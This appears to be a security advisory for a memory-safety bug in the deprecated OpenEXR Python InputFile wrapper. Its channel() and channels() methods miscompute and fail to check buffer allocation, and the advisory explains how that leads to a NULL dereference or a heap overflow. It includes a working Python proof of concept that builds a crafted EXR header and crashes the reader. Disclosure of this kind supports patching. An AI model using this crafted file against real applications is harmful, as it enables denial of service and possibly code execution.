OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()

Summary

A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).

This bug was found with ZeroPath.

Details

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around here.

• In channel():

  • Width and height are derived from the header dataWindow using int.

  • typeSize is a size_t. The buffer size is computed as typeSize * width * height with no bounds checks.

  • The result is passed to PyString_FromStringAndSize(NULL, size) which maps to PyBytes_FromStringAndSize. That function expects Py_ssize_t. If the product overflows or exceeds PY_SSIZE_T_MAX, allocation fails or the value wraps.

  • The return value is not checked. The code immediately calls PyString_AsString(r) and proceeds to build a FrameBuffer and calls readPixels(miny, maxy).

  • On 64 bit: PyBytes_FromStringAndSize returns NULL, the wrapper dereferences NULL and crashes.
    On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which readPixels writes typeSize * width bytes per scanline for height lines into that buffer, causing a heap overflow.

• In channels() the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the Slice it hardcodes xSampling=1, ySampling=1. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.

PoC

# write_big_header_then_crash.py
import OpenEXR, Imath

# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1
INT_MAX = (1 << 31) - 1
MAX_COORD = (INT_MAX // 2) - 1  # 1073741822

# Choose a scanline width that keeps row-bytes < 2^31
# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept
WIDTH = min(400_000_000, MAX_COORD + 1)   # pixels
HEIGHT = 64                                # small height keeps the file tiny

# Build windows from pixel counts
dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))

# Robustly set NO_COMPRESSION across enum naming differences
def no_compression():
    # Try common names, else fallback to numeric 0
    C = Imath.Compression
    for name in ("NO_COMPRESSION", "NONE", "NO_COMPRESSION_ENUM"):
        if hasattr(C, name):
            return Imath.Compression(getattr(C, name))
    return Imath.Compression(0)

hdr = {
    "dataWindow": dw,
    "displayWindow": dw,
    "channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},
    "compression": no_compression(),
    "lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),
}

# Write just the header (no pixels)
out = OpenEXR.OutputFile("big_header.exr", hdr)
out.close()

# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check
f = OpenEXR.InputFile("big_header.exr")
print("Triggering crash...")
f.channels(["R"])

$ python3 poc.py 
Triggering crash...
libc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information
Abort trap: 6              python3 poc.py

Impact

Typical memory stuff.